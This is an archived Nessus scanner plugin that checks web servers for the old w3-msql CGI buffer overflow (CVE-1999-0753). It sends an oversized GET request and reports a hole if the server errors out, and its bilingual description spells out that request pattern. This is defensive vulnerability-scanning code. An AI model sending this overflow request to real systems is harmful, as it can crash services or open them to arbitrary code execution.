home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / msql_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  92 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(10143);
  10.  script_bugtraq_id(591);
  11.  script_version ("$Revision: 1.24 $");
  12.  script_cve_id("CVE-1999-0753");
  13.  name["english"] = "MSQL CGI overflow";
  14.  name["francais"] = "DΘpassement de buffer dans le CGI msql";
  15.  script_name(english:name["english"], francais:name["francais"]);
  16.  
  17.  desc["english"] = "
  18. It seems possible to overflow the remote MSQL cgi
  19. by making a request like :
  20.  
  21.     GET /cgi-bin/w3-msql/AAAA...AAAA
  22.     
  23. This allows an attacker to execute arbitrary code
  24. as the httpd server (nobody or root).
  25.  
  26. Solution : remove this CGI.
  27.  
  28. Risk factor : High";
  29.     
  30.  
  31.  desc["francais"] = "
  32. Il semble possible de faire un dΘpassement de buffer
  33. dans le CGI distant 'msql' en faisant la requΩte :
  34.  
  35.     GET /cgi-bin/w3-msql/AAAAA...AAAA
  36.     
  37. Ce problΦme peut permettre α un pirate d'executer du
  38. code arbitraire avec les memes droits que le serveur
  39. web (nobody ou root).
  40.  
  41. Solution : retirez ce CGI.
  42.  
  43. Facteur de risque : ElevΘ";
  44.  script_description(english:desc["english"], francais:desc["francais"]);
  45.  
  46.  summary["english"] = "Overflows the remote CGI buffer";
  47.  summary["francais"] = "DΘpassement de buffer dans le CGI distant";
  48.  script_summary(english:summary["english"], francais:summary["francais"]);
  49.  
  50.  script_category(ACT_DESTRUCTIVE_ATTACK);
  51.  
  52.  
  53.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  54.         francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  55.  family["english"] = "CGI abuses";
  56.  family["francais"] = "Abus de CGI";
  57.  script_family(english:family["english"], francais:family["francais"]);
  58.  script_dependencie("find_service.nes", "http_version.nasl");
  59.  script_require_ports("Services/www", 80);
  60.  exit(0);
  61. }
  62.  
  63. #
  64. # The script code starts here
  65. #
  66.  
  67. include("http_func.inc");
  68. include("http_keepalive.inc");
  69.  
  70. port = get_http_port(default:80);
  71.  
  72. if(!get_port_state(port))exit(0);
  73.  
  74.  
  75. foreach dir (cgi_dirs())
  76. {
  77.  if(!ereg(pattern:".*\.nsf/.*", string:dir))
  78.  {
  79.  str = http_get(item:string(dir, "/w3-msql/", crap(250)),
  80.            port:port);     
  81.  buf = http_keepalive_send_recv(port:port, data:str);
  82.  if(!buf)exit(0);
  83.  buf = tolower(buf);
  84.  if("internal server error" >< buf && 
  85.     !egrep(string: buf, pattern: "w3-msql.* not found"))
  86.  # egrep avoids false positive on Caucho Resin /servlet directory
  87.  {
  88.    security_hole(port);exit(0);
  89.  }
  90.  }
  91. }
  92.